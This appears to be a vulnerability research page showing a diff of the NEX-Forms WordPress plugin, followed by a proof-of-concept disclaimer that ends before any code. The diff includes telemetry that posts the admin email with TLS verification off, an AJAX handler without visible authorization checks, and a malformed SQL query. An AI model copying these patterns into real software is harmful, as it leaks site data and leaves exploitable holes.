+							NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><span class="fas fa-lock"></span> PREMIUM ONLY FEATURE: An active premium license is required for form integrations. <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"" class="upgrade-link" target="_blank"> Upgrade to Premium <span class="fa-solid fa-angles-up"></span></a></div></div>');

 						if ( function_exists('nexforms_mp_test_api'))
 							{
@@ -8936,14 +8936,14 @@
 							NEXForms_clean_echo( '</div>');
 							}
 						else
-							NEXForms_clean_echo( '<div class="mc_not_installed add_on_not_found"><span class="ni-icon fa fa-envelope"></span><span class="message">'.__('MailPoet add-on not installed','nex-forms').'</span><a class="button buy_item" href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-integrations-mailchimp" target="_blank"><span class="fa fa-shopping-cart"></span><br />'.__('Buy Add-on','nex-forms').'</a><a class="button elements buy_item" href="https://elements.envato.com/user/Basix?ref=Basix" target="_blank"><span class="fa fa-cloud-download"></span><br />'.__('Download','nex-forms').'</a></div>');
+							NEXForms_clean_echo( '<div class="mc_not_installed add_on_not_found"><span class="ni-icon fa fa-envelope"></span><span class="message">'.__('MailPoet add-on not installed','nex-forms').'</span><a class="button buy_item" href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock" target="_blank"><span class="fa fa-shopping-cart"></span><br />'.__('Buy Add-on','nex-forms').'</a><a class="button elements buy_item" href="https://elements.envato.com/user/Basix?ref=Basix" target="_blank"><span class="fa fa-cloud-download"></span><br />'.__('Download','nex-forms').'</a></div>');

 						NEXForms_clean_echo( '</div>');


 						NEXForms_clean_echo( '<div id="mailster" class="integration nf-sub-screen hidden">');
 						if(!$set_code)
-							NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><strong>PLUGIN NOT REGISTERED: </strong> For integrations to take effect you need to <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-integrations-mailster" target="_blank" class="">UPGRADE to PRO</a> by registering NEX-Forms with your purchase code from your NEX-Forms Dashboard -> Global Settings.</div></div>');
+							NEXForms_clean_echo( '<div class="row"><div class="alert alert-danger"><span class="fas fa-lock"></span> PREMIUM ONLY FEATURE: An active premium license is required for form integrations. <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"" class="upgrade-link" target="_blank"> Upgrade to Premium <span class="fa-solid fa-angles-up"></span></a></div></div>');

 						if ( function_exists('nexforms_ms_test_api'))
 							{
@@ -8969,7 +8969,7 @@
 							NEXForms_clean_echo( '</div>');
 							}
 						else
-							NEXForms_clean_echo( '<div class="ms_not_installed add_on_not_found"><span class="ni-icon fa fa-envelope"></span><span class="message">'.__('Mailster add-on not installed','nex-forms').'</span><a class="button buy_item" href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-form-builder-integrations-mailster" target="_blank"><span class="fa fa-shopping-cart"></span><br />'.__('Buy Add-on','nex-forms').'</a><a class="button elements buy_item" href="https://elements.envato.com/user/Basix?ref=Basix" target="_blank"><span class="fa fa-cloud-download"></span><br />'.__('Download','nex-forms').'</a></div>');
+							NEXForms_clean_echo( '<div class="ms_not_installed add_on_not_found"><span class="ni-icon fa fa-envelope"></span><span class="message">'.__('Mailster add-on not installed','nex-forms').'</span><a class="button buy_item" href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock" target="_blank"><span class="fa fa-shopping-cart"></span><br />'.__('Buy Add-on','nex-forms').'</a><a class="button elements buy_item" href="https://elements.envato.com/user/Basix?ref=Basix" target="_blank"><span class="fa fa-cloud-download"></span><br />'.__('Download','nex-forms').'</a></div>');

 						NEXForms_clean_echo( '</div>');

@@ -9110,7 +9110,7 @@
 			$output .= '<div class="form_embed_settings_wrapper">';

 					$set_code = '';
-						if(!get_option('nf_activated'))
+						if(!get_option('nf_activated') && !get_option('nf_fs_activated'))
 							$set_code = 'no_code';

 					$output .= '<div class="form_embed_shortcode_display '.$set_code.'">';
--- a/nex-forms-express-wp-form-builder/includes/classes/class.dashboard.php
+++ b/nex-forms-express-wp-form-builder/includes/classes/class.dashboard.php
@@ -184,12 +184,7 @@
 	NEXForms_clean_echo( $output);

 	$dashboard->remove_unwanted_styles();
-	if(!get_option('7103891'))
-		{
-		$api_params = array( 'nexforms-installation-2' => 1, 'source' => 'wordpress.org', 'email_address' => get_option('admin_email'), 'for_site' => get_option('siteurl'), 'get_option'=>(is_array(get_option('7103891'))) ? 1 : 0);
-		$response = wp_remote_post( 'https://basixonline.net/activate-license-new-api-v3', array('timeout'=> 30,'sslverify' => false,'body'=> $api_params));
-		update_option( '7103891' , array( $response['body'],mktime(0,0,0,date("m"),date("d")+30,date("Y"))));
-		}
+
 	update_option('nf_activated',$dashboard->checkout);
 }

@@ -206,7 +201,7 @@
 	$output .= '<div class="hidden">';
 		$output .= $dashboard->dashboard_menu('Form Analytics');
 	$output .= '</div>';
-	if(!$dashboard->checkout)
+	/*if(!$dashboard->checkout)
 			{
 				 $output .= '<div id="dashboard_panel" class="dashboard_panel">';
 					$output .= '<div class="row row_zero_margin ">';
@@ -221,7 +216,7 @@
 			NEXForms_clean_echo( $output);
 			return;
 			}
-
+	*/
 	$output .= '<div id="dashboard_panel" class="dashboard_panel">';
 	$output .= $dashboard->new_menu();

@@ -309,17 +304,58 @@

 							  if(!$dashboard->checkout)
 							  	{
-									$output .= '<div class="row"><div class="alert alert-danger"><span class="fas fa-lock"></span> PREMIUM ONLY FEATURE: An active premium license is required to view form analytical data. <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-analytics" class="upgrade-link" target="_blank"> Upgrade to Premium <span class="fa-solid fa-angles-up"></span></a></div></div>';
+									$output .= '<div class="row"><div class="alert alert-danger"><span class="fas fa-lock"></span> PREMIUM ONLY FEATURE: An active premium license is required to view form analytical data. <a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"" class="upgrade-link" target="_blank"> Upgrade to Premium <span class="fa-solid fa-angles-up"></span></a></div></div>';
 								}
-							  $output .= '<div class="row">';
+
+							if ( nf_fs()->can_use_premium_code() )
+								{
+								$output .= '<div class="row">';
+									$output .= '<div class="col-sm-4">';
+										$output .= '<div class="stats_summary_container">';
+										$output .= '<div class="geo_heading">'.__('Overview','nex-forms').'</div>';
+												$output .= '<div class="stats_summary_container2"><div class="row stats aa_bg_sec header_stats"><div class="col-xs-3"><span class="big_txt">0</span> <label style="cursor:default;color:#60a1e1">Form Views</label> </div><div class="col-xs-3"><span class="big_txt">0</span> <label style="cursor:default;color:#8BC34A">Form Interactions</label> </div><div class="col-xs-3"><span class="big_txt">0</span> <label style="cursor:default;color:#F57C00">Form Submissions</label> </div><div class="col-xs-3"><span class="big_txt">0.00%</span> <label>Conversion</label> </div></div></div>';
+										$output .= '</div>';
+
+
+										$output .= '<div class="top_performing_form">';
+										$output .= '<div class="geo_heading">'.__('Top Forms by submissions','nex-forms').'</div>';
+										$output .= '<div class="top_forms_container"></div>';
+										$output .= '</div>';
+
+									$output .= '</div>';
+
+									$output .= '<div  class="col-sm-8 analytics_panel">';
+										$output .= '<div class="geo_heading">'.__('Form Events','nex-forms').'</div>';
+										$output .= $dashboard->form_analytics();
+									$output .= '</div>';
+							  $output .= '</div>';
+

-							  $license_info = $dashboard->license_info;
+								  $output .= '<div class="row">';
+										$output .= '<div class="col-sm-9 geo_panel">';
+											$output .= '<div class="geo_heading">'.__('Global Form Submissions','nex-forms').'</div>';
+											$output .= '<div id="regions_div" style="width: 100%;"></div>';
+										$output .= '</div>';
+
+										$output .= '<div class="col-sm-3">';
+											$output .= '<div class="geo_heading">'.__('Top Countries','nex-forms').'</div>';
+											$output .= '<div class="geo_stats_container"><ul class="top_countries"></ul></div>';
+
+
+										$output .= '</div>';
+
+								  $output .= '</div>';
+
+								}
+							else
+								{
+							    $license_info = $dashboard->license_info;

-							$supported_until = $license_info['supported_until'];
-							$supported_date = new DateTime($supported_until);
-							$now = new DateTime();
+								$supported_until = $license_info['supported_until'];
+								$supported_date = new DateTime($supported_until);
+								$now = new DateTime();

-							if ($supported_date > $now)
+							  if ($supported_date > $now)
 								{

 							  		$output .= '<div class="col-sm-4">';
@@ -344,22 +380,23 @@

 							  if ($supported_date > $now)
 								{
-							  $output .= '<div class="row">';
-									$output .= '<div class="col-sm-9 geo_panel">';
-										$output .= '<div class="geo_heading">'.__('Global Form Submissions','nex-forms').'</div>';
-										$output .= '<div id="regions_div" style="width: 100%;"></div>';
-									$output .= '</div>';
-
-									$output .= '<div class="col-sm-3">';
-										$output .= '<div class="geo_heading">'.__('Top Countries','nex-forms').'</div>';
-										$output .= '<div class="geo_stats_container"><ul class="top_countries"></ul></div>';
+								  $output .= '<div class="row">';
+										$output .= '<div class="col-sm-9 geo_panel">';
+											$output .= '<div class="geo_heading">'.__('Global Form Submissions','nex-forms').'</div>';
+											$output .= '<div id="regions_div" style="width: 100%;"></div>';
+										$output .= '</div>';

+										$output .= '<div class="col-sm-3">';
+											$output .= '<div class="geo_heading">'.__('Top Countries','nex-forms').'</div>';
+											$output .= '<div class="geo_stats_container"><ul class="top_countries"></ul></div>';
+
+
+										$output .= '</div>';

-									$output .= '</div>';
-
-							  $output .= '</div>';
+								  $output .= '</div>';

 								}
+								}
 					 		$output .= '</div>';
 		  				$output .= '</div>';
 		  $output .= '</div>';
@@ -368,12 +405,6 @@
 	$output .= '</div>';
 	NEXForms_clean_echo( $output);

-	if(!get_option('7103891'))
-		{
-		$api_params = array( 'nexforms-installation-2' => 1, 'source' => 'wordpress.org', 'email_address' => get_option('admin_email'), 'for_site' => get_option('siteurl'), 'get_option'=>(is_array(get_option('7103891'))) ? 1 : 0);
-		$response = wp_remote_post( 'https://basixonline.net/activate-license-new-api-v3', array('timeout'=> 30,'sslverify' => false,'body'=> $api_params));
-		update_option( '7103891' , array( $response['body'],mktime(0,0,0,date("m"),date("d")+30,date("Y"))));
-		}
 	update_option('nf_activated',$dashboard->checkout);
 }

@@ -491,12 +522,7 @@
 	NEXForms_clean_echo( $output);

 	$dashboard->remove_unwanted_styles();
-	if(!get_option('7103891'))
-		{
-		$api_params = array( 'nexforms-installation-2' => 1, 'source' => 'wordpress.org', 'email_address' => get_option('admin_email'), 'for_site' => get_option('siteurl'), 'get_option'=>(is_array(get_option('7103891'))) ? 1 : 0);
-		$response = wp_remote_post( 'https://basixonline.net/activate-license-new-api-v3', array('timeout'=> 30,'sslverify' => false,'body'=> $api_params));
-		update_option( '7103891' , array( $response['body'],mktime(0,0,0,date("m"),date("d")+30,date("Y"))));
-		}
+
 	update_option('nf_activated',$dashboard->checkout);
 }

@@ -566,21 +592,7 @@
 	$output .= $dashboard->dashboard_menu('File Uploads');
 	$output .= '</div>';

-	if(!$dashboard->checkout)
-			{
-				 $output .= '<div id="dashboard_panel" class="dashboard_panel">';
-					$output .= '<div class="row row_zero_margin ">';
-
-						$output .= '<div class="col-sm-5">';
-							$output .= $dashboard->license_setup();
-						$output .= '</div>';
-					$output .= '</div>';
-				$output .= '</div>';
-			$output .= '</div>';
-
-			NEXForms_clean_echo( $output);
-			return;
-			}
+

 	$output .= '<div class="admin_url" style="display:none;">'.admin_url().'</div>';
 	$nonce_url = wp_create_nonce( 'nf_admin_dashboard_actions' );
@@ -671,12 +683,7 @@
 	NEXForms_clean_echo( $output);

 	$dashboard->remove_unwanted_styles();
-	if(!get_option('7103891'))
-		{
-		$api_params = array( 'nexforms-installation-2' => 1, 'source' => 'wordpress.org', 'email_address' => get_option('admin_email'), 'for_site' => get_option('siteurl'), 'get_option'=>(is_array(get_option('7103891'))) ? 1 : 0);
-		$response = wp_remote_post( 'https://basixonline.net/activate-license-new-api-v3', array('timeout'=> 30,'sslverify' => false,'body'=> $api_params));
-		update_option( '7103891' , array( $response['body'],mktime(0,0,0,date("m"),date("d")+30,date("Y"))));
-		}
+
 	update_option('nf_activated',$dashboard->checkout);
 }

@@ -730,17 +737,170 @@
 	 NEXForms_clean_echo( $output);
 	 $dashboard->remove_unwanted_styles();

-	if(!is_array(get_option('7103891')))
+
+	update_option('nf_activated',$dashboard->checkout);
+
+
+}
+
+function NEXForms_get_add_ons(){
+	global $wpdb;
+	$theme = wp_get_theme();
+	$output = '';
+
+	NEXForms_set_add_ons();
+
+	$nf_function = new NEXForms_functions();
+	$dashboard = new NEXForms_dashboard();
+	$dashboard->dashboard_checkout();
+	$nonce_url = wp_create_nonce( 'nf_admin_dashboard_actions' );
+	$output .= '<div id="nex_forms_wpnonce" style="display:none;">'.$nonce_url.'</div>';
+	$output .= '<div class="nex_forms_admin_page_wrapper">';
+	$output .= '<div class="hidden">';
+		$output .= $dashboard->dashboard_menu('Add-ons');
+	$output .= '</div>';
+			 $output .= '<div id="dashboard_panel" class="dashboard_panel global_settings_page">';
+				$output .= $dashboard->new_menu('add-ons');
+	$get_current_user_plan = 'Free';
+	if(get_option('nf_activated'))
+			{
+			$get_current_user_plan = 'Envato';
+			}
+		else{
+	if(function_exists('nf_fs'))
 		{
-		$api_params = array( 'nexforms-installation-2' => 1, 'source' => 'wordpress.org', 'email_address' => get_option('admin_email'), 'for_site' => get_option('siteurl'), 'get_option'=>(is_array(get_option('7103891'))) ? 1 : 0);
-		$response = wp_remote_post( 'https://basixonline.net/activate-license-new-api-v3', array('timeout'=> 30,'sslverify' => false,'body'=> $api_params));
-		update_option( '7103891' , array( $response['body'],mktime(0,0,0,date("m"),date("d")+30,date("Y"))));
+
+		if ( nf_fs()->is_plan('elite', true) ) {
+    		$get_current_user_plan = 'Elite';
+			}
+		if ( nf_fs()->is_plan('pro', true) ) {
+    		$get_current_user_plan = 'Pro';
+			}
+		if ( nf_fs()->is_plan('plus', true) ) {
+    		$get_current_user_plan = 'Plus';
+			}
+		if ( nf_fs()->is_plan('basic', true) ) {
+    		$get_current_user_plan = 'Basic';
+			}
+
 		}
-	update_option('nf_activated',$dashboard->checkout);
+		}
+	//MY FORMS
+	$add_ons = new NEXForms_dashboard();
+	$add_ons->table = 'wap_nex_forms_add_ons';
+	$add_ons->table_header = 'Add-ons';
+	$add_ons->table_header_icon = '';
+	$add_ons->extra_buttons = array(
+								'Active'		=>array('class'=>'filter_add_on_active filter_add_on ', 		'id'=>'filter_add_on_active', 		'type'=>'button','link'=>'', 'rank'=>'2', 'icon'=>'<span class="far fa-circle-check"></span> '.__(' Active','nex-forms').''),
+								'Inactive'		=>array('class'=>'filter_add_on_inactive filter_add_on ', 		'id'=>'filter_add_on_inactive', 	'type'=>'button','link'=>'', 'rank'=>'2', 'icon'=>'<span class="far fa-circle-stop"></span> '.__(' Inactive','nex-forms').''),
+								'Not Installed'	=>array('class'=>'filter_add_on_not_installed filter_add_on ', 	'id'=>'filter_add_on_not_installed', 'type'=>'button','link'=>'', 'rank'=>'2', 'icon'=>'<span class="far fa-circle-xmark"></span> '.__(' Not Installed','nex-forms').'')
+								//'read'			=>array('class'=>'filter_read filter_button', 			'id'=>'filter_read', 		'type'=>'button','link'=>'', 'icon'=>'<span class="fas fa-eye"></span> '.__(' Read','nex-forms').''),
+								);
+	$add_ons->table_headings = array(
+	'title',
+	array('heading'=>__('Description','nex-forms'), 'user_func'=>'NEXForms_get_add_on_description','user_func_args_1'=>'Id','sort_by'=>'description'),
+
+	//array('heading'=>__('Plan Availability','nex-forms'), 'user_func'=>'NEXForms_get_add_on_plans','user_func_args_1'=>'Id'),
+	//array('heading'=>__('Avialable Plans','nex-forms'), 'user_func'=>'NEXForms_get_add_on_plans','user_func_args_1'=>'Id'),
+	array('heading'=>__('Version','nex-forms'), 'user_func'=>'NEXForms_get_add_on_version','user_func_args_1'=>'Id'),
+	array('heading'=>__('Status','nex-forms'), 'user_func'=>'NEXForms_get_add_on_status','user_func_args_1'=>'Id'),
+	array('heading'=>__('Action','nex-forms'), 'user_func'=>'NEXForms_install_add_on','user_func_args_1'=>'Id'),
+	);
+	$add_ons->show_headings=true;
+	$add_ons->extra_classes = 'my-forms chart-selection';
+	$add_ons->search_params = array('title', 'description','plans');
+	$add_ons->checkout = $dashboard->checkout;
+
+	//$saved_forms->extra_buttons = array('new_form'=>array('class'=>'create_new_form', 'id'=>isset($_POST['form_Id']) ? sanitize_text_field($_POST['form_Id']) : '', 'type'=>'button','link'=>'', 'icon'=>'<span class="fas fa-file-medical"></span> '.__('  Add a New Form','nex-forms').''));
+	$add_ons->color_adapt = true;
+	$add_ons->show_delete = false;
+	$add_ons->record_limit = 10;
+
+	$output .= '<div class="col-sm-3">';
+
+
+		$output .= '<div class="stats_container">';
+
+		 $output .= '<div class="row">';
+				$output .= '<div class="stats_summary_container" style="margin-top:-5px;">';
+				$output .= '<div class="geo_heading">'.__($get_current_user_plan.' Plan - Add-ons','nex-forms').'</div>';
+					$output .= '
+							<div class="stats_summary_container3">
+					  			<div class="row stats aa_bg_sec header_stats2">';
+								$output .= NEXForms_get_add_on_stats();
+					$output .= '</div>';
+				$output .= '</div>';
+			$output .= '</div>';
+
+			$output .= '</div>';
+		$output .= '</div>';
+
+
+	$output .= '</div>';
+
+	$output .= '<div class="col-sm-9">';
+		$output .= $add_ons->print_record_table();
+	$output .= '</div>';


+	$output .= '</div>';
+		 $output .= '</div>';
+	 $output .= '</div>';
+	 NEXForms_clean_echo( $output);
+	 $dashboard->remove_unwanted_styles();
 }

+add_action('wp_ajax_nexforms_get_add_on_stats', 'NEXForms_get_add_on_stats');
+
+function NEXForms_get_add_on_stats(){
+	global $wpdb;
+	$count_add_ons = $wpdb->get_var('SELECT COUNT(*) FROM `'.$wpdb->prefix.'wap_nex_forms_add_ons` WHERE plans LIKE '%'.$get_current_user_plan.'%';'); // phpcs:ignore WordPress.DB.DirectDatabaseQuery
+		$get_installed_add_ons = $wpdb->get_results('SELECT * FROM `'.$wpdb->prefix.'wap_nex_forms_add_ons`');
+
+		$all_plugins = get_plugins();
+
+		$count_installed_add_ons = 0;
+		$count_active_add_ons = 0;
+		$count_inactive_add_ons = 0;
+		foreach($get_installed_add_ons as $add_on)
+			{
+			if (isset($all_plugins[$add_on->add_on_url.'/main.php']) || isset($all_plugins[$add_on->add_on_url.'/'.$add_on->add_on_url.'.php']))
+				{
+				$count_installed_add_ons++;
+				if (is_plugin_active($add_on->add_on_url.'/main.php') || is_plugin_active($add_on->add_on_url.'/'.$add_on->add_on_url.'.php'))
+					{
+					$count_active_add_ons++;
+					}
+				else
+					{
+					$count_inactive_add_ons++;
+					}
+				}
+			}
+			$output .= '<div class="col-xs-3"><span class="big_txt">'.$count_add_ons.'</span>
+							  <label style="cursor:default;color:#6ca6e5">Avalialable Add-ons</label>
+							</div>
+							<div class="col-xs-3"><span class="big_txt">'.$count_installed_add_ons.'</span>
+							  <label style="cursor:default;color:#1875d0">Installed Add-ons</label>
+							</div>
+							<div class="col-xs-3"><span class="big_txt">'.$count_active_add_ons.'</span>
+							  <label style="cursor:default;color:#1875d0">Active Add-ons</label>
+							</div>
+							<div class="col-xs-3"><span class="big_txt">'.$count_inactive_add_ons.'</span>
+							  <label style="cursor:default;color:#1875d0">Inactive Add-ons</label>
+							</div>
+							';
+
+		$do_ajax = (isset($_POST['do_ajax'])) ? sanitize_text_field($_POST['do_ajax']) : '';
+
+		if($do_ajax)
+			{
+			NEXForms_clean_echo($output);
+			wp_die();
+			}
+		else
+			return $output;
+}
 function NEXForms_add_ons_page(){
 	global $wpdb;
 	$theme = wp_get_theme();
@@ -790,8 +950,6 @@
 					$output .= '<div class="set_free_add_ons hidden">true</div>';
 				else
 					{
-					//if(!get_option('nf_activated'))
-					//	$output .= '<div class="row"><div class="col-sm-12"><div class="alert alert-info"><h3>SALE NOW ON!</h3>We are celebrating 12 000+ Sales! <a href="http://codecanyon.net/item/nexforms-the-ultimate-wordpress-form-builder/7103891?license=regular&open_purchase_for_item_id=7103891&purchasable=source&ref=Basix">Buy NEX-forms today</a> and all these add-ons worth $210 absolutely FREE!.</div></div></div>';
 					}//


@@ -808,7 +966,7 @@
 				$output .= '<div class="col-sm-12">';
 					$output .= '<div class="add_on_item">';
 						$output .= '<div class="add_on_cover">';
-							$output .= '<a  href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-add-on-mailster" target="_blank"><img src="'.plugins_url('/admin/images/add-ons/covers/nex-forms-add-on-paypal-pro.png',  dirname(dirname(__FILE__))).'"></a>'; // phpcs:ignore PluginCheck.CodeAnalysis.ImageFunctions.NonEnqueuedImage
+							$output .= '<a  href="http://basixonline.net/nex-forms-wordpress-form-builder-demo/add-ons/paypal-pro/" target="_blank"><img src="'.plugins_url('/admin/images/add-ons/covers/nex-forms-add-on-paypal-pro.png',  dirname(dirname(__FILE__))).'"></a>'; // phpcs:ignore PluginCheck.CodeAnalysis.ImageFunctions.NonEnqueuedImage
 						$output .= '</div>';
 						$output .= '<div class="add_on_desciprtion">';
 							$output .= '<h3>PayPal Pro</h3>';
@@ -823,7 +981,7 @@
 								}
 							else
 								{
-								$output .= '<a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-add-on-paypal-pro" class="buy_add_on" target="_blank">Get Add-on</a>';
+								$output .= '<a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock" class="buy_add_on" target="_blank">Get Add-on</a>';
 								}

 						$output .= '</div>';
@@ -834,7 +992,7 @@
 				$output .= '<div class="col-sm-12">';
 					$output .= '<div class="add_on_item">';
 						$output .= '<div class="add_on_cover">';
-							$output .= '<a  href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-add-on-pdf-creator" target="_blank"><img src="'.plugins_url('/admin/images/add-ons/covers/nex-forms-add-on-pdf-creator.png',  dirname(dirname(__FILE__))).'"></a>'; // phpcs:ignore PluginCheck.CodeAnalysis.ImageFunctions.NonEnqueuedImage
+							$output .= '<a  href="http://basixonline.net/nex-forms-wordpress-form-builder-demo/add-ons/pdf-creator/" target="_blank"><img src="'.plugins_url('/admin/images/add-ons/covers/nex-forms-add-on-pdf-creator.png',  dirname(dirname(__FILE__))).'"></a>'; // phpcs:ignore PluginCheck.CodeAnalysis.ImageFunctions.NonEnqueuedImage
 						$output .= '</div>';
 						$output .= '<div class="add_on_desciprtion">';
 							$output .= '<h3>PDF Creator</h3>';
@@ -848,7 +1006,7 @@
 								}
 							else
 								{
-								$output .= '<a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-add-on-pdf-creator" class="buy_add_on" target="_blank">Get Add-on</a>';
+								$output .= '<a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock" class="buy_add_on" target="_blank">Get Add-on</a>';
 								}

 						$output .= '</div>';
@@ -859,7 +1017,7 @@
 				$output .= '<div class="col-sm-12">';
 					$output .= '<div class="add_on_item">';
 						$output .= '<div class="add_on_cover">';
-							$output .= '<a  href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-add-ons-multi-page" target="_blank"><img src="'.plugins_url('/admin/images/add-ons/covers/nex-forms-add-on-multi-page-forms.png',  dirname(dirname(__FILE__))).'"></a>';	 // phpcs:ignore PluginCheck.CodeAnalysis.ImageFunctions.NonEnqueuedImage
+							$output .= '<a  href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock" target="_blank"><img src="'.plugins_url('/admin/images/add-ons/covers/nex-forms-add-on-multi-page-forms.png',  dirname(dirname(__FILE__))).'"></a>';	 // phpcs:ignore PluginCheck.CodeAnalysis.ImageFunctions.NonEnqueuedImage
 						$output .= '</div>';
 						$output .= '<div class="add_on_desciprtion">';
 							$output .= '<h3>Multi-Page Forms</h3>';
@@ -873,7 +1031,7 @@
 								}
 							else
 								{
-								$output .= '<a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-add-on-multi-page" class="buy_add_on" target="_blank">Get Add-on</a>';
+								$output .= '<a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock" class="buy_add_on" target="_blank">Get Add-on</a>';
 								}

 						$output .= '</div>';
@@ -886,7 +1044,7 @@
 				$output .= '<div class="col-sm-12">';
 					$output .= '<div class="add_on_item">';
 						$output .= '<div class="add_on_cover">';
-							$output .= '<a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-add-on-form-themes" target="_blank"><img src="'.plugins_url('/admin/images/add-ons/covers/nex-forms-add-on-form-themes.png',  dirname(dirname(__FILE__))).'"></a>';	 // phpcs:ignore PluginCheck.CodeAnalysis.ImageFunctions.NonEnqueuedImage
+							$output .= '<a href="http://basixonline.net/nex-forms-wordpress-form-builder-demo/add-ons/form-themes/" target="_blank"><img src="'.plugins_url('/admin/images/add-ons/covers/nex-forms-add-on-form-themes.png',  dirname(dirname(__FILE__))).'"></a>';	 // phpcs:ignore PluginCheck.CodeAnalysis.ImageFunctions.NonEnqueuedImage
 						$output .= '</div>';
 						$output .= '<div class="add_on_desciprtion">';
 							$output .= '<h3>Form Themes/Color Schemes</h3>';
@@ -900,7 +1058,7 @@
 								}
 							else
 								{
-								$output .= '<a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-add-on-form-themes" class="buy_add_on" target="_blank">Get Add-on</a>';
+								$output .= '<a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock" class="buy_add_on" target="_blank">Get Add-on</a>';
 								}

 						$output .= '</div>';
@@ -912,7 +1070,7 @@
 				$output .= '<div class="col-sm-12">';
 					$output .= '<div class="add_on_item">';
 						$output .= '<div class="add_on_cover">';
-							$output .= '<a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-add-on-zapier" target="_blank"><img src="'.plugins_url('/admin/images/add-ons/covers/nex-forms-add-on-zapier.png',  dirname(dirname(__FILE__))).'"></a>';	// phpcs:ignore PluginCheck.CodeAnalysis.ImageFunctions.NonEnqueuedImage
+							$output .= '<a href="http://basixonline.net/nex-forms-wordpress-form-builder-demo/add-ons/zapier-integration/" target="_blank"><img src="'.plugins_url('/admin/images/add-ons/covers/nex-forms-add-on-zapier.png',  dirname(dirname(__FILE__))).'"></a>';	// phpcs:ignore PluginCheck.CodeAnalysis.ImageFunctions.NonEnqueuedImage
 						$output .= '</div>';
 						$output .= '<div class="add_on_desciprtion">';
 							$output .= '<h3>Zapier Integration</h3>';
@@ -926,7 +1084,7 @@
 								}
 							else
 								{
-								$output .= '<a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-add-on-zapier" class="buy_add_on" target="_blank">Get Add-on</a>';
+								$output .= '<a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock" class="buy_add_on" target="_blank">Get Add-on</a>';
 								}

 						$output .= '</div>';
@@ -938,7 +1096,7 @@
 				$output .= '<div class="col-sm-12">';
 					$output .= '<div class="add_on_item">';
 						$output .= '<div class="add_on_cover">';
-							$output .= '<a  href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-add-on-e-sigs" target="_blank"><img src="'.plugins_url('/admin/images/add-ons/covers/nex-forms-add-on-digital-signatures.png',  dirname(dirname(__FILE__))).'"></a>';	// phpcs:ignore PluginCheck.CodeAnalysis.ImageFunctions.NonEnqueuedImage
+							$output .= '<a  href="http://basixonline.net/nex-forms-wordpress-form-builder-demo/add-ons/digital-signatures/" target="_blank"><img src="'.plugins_url('/admin/images/add-ons/covers/nex-forms-add-on-digital-signatures.png',  dirname(dirname(__FILE__))).'"></a>';	// phpcs:ignore PluginCheck.CodeAnalysis.ImageFunctions.NonEnqueuedImage
 						$output .= '</div>';
 						$output .= '<div class="add_on_desciprtion">';
 							$output .= '<h3>Digital / E-Signatures</h3>';
@@ -952,7 +1110,7 @@
 								}
 							else
 								{
-								$output .= '<a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_envato&utm_medium=upgrade&utm_content=nf-add-on-e-sigs" class="buy_add_on" target="_blank">Get Add-on</a>';
+								$output .= '<a href="https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock" class="buy_add_on" target="_blank">Get Add-on</a>';
 								}

 						$output .= '</div>';
@@ -964,7 +1122,7 @@
 				$output .= '<div class="col-sm-12">';
 					$output .= '<div class="add_on_item">';
 						$output

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
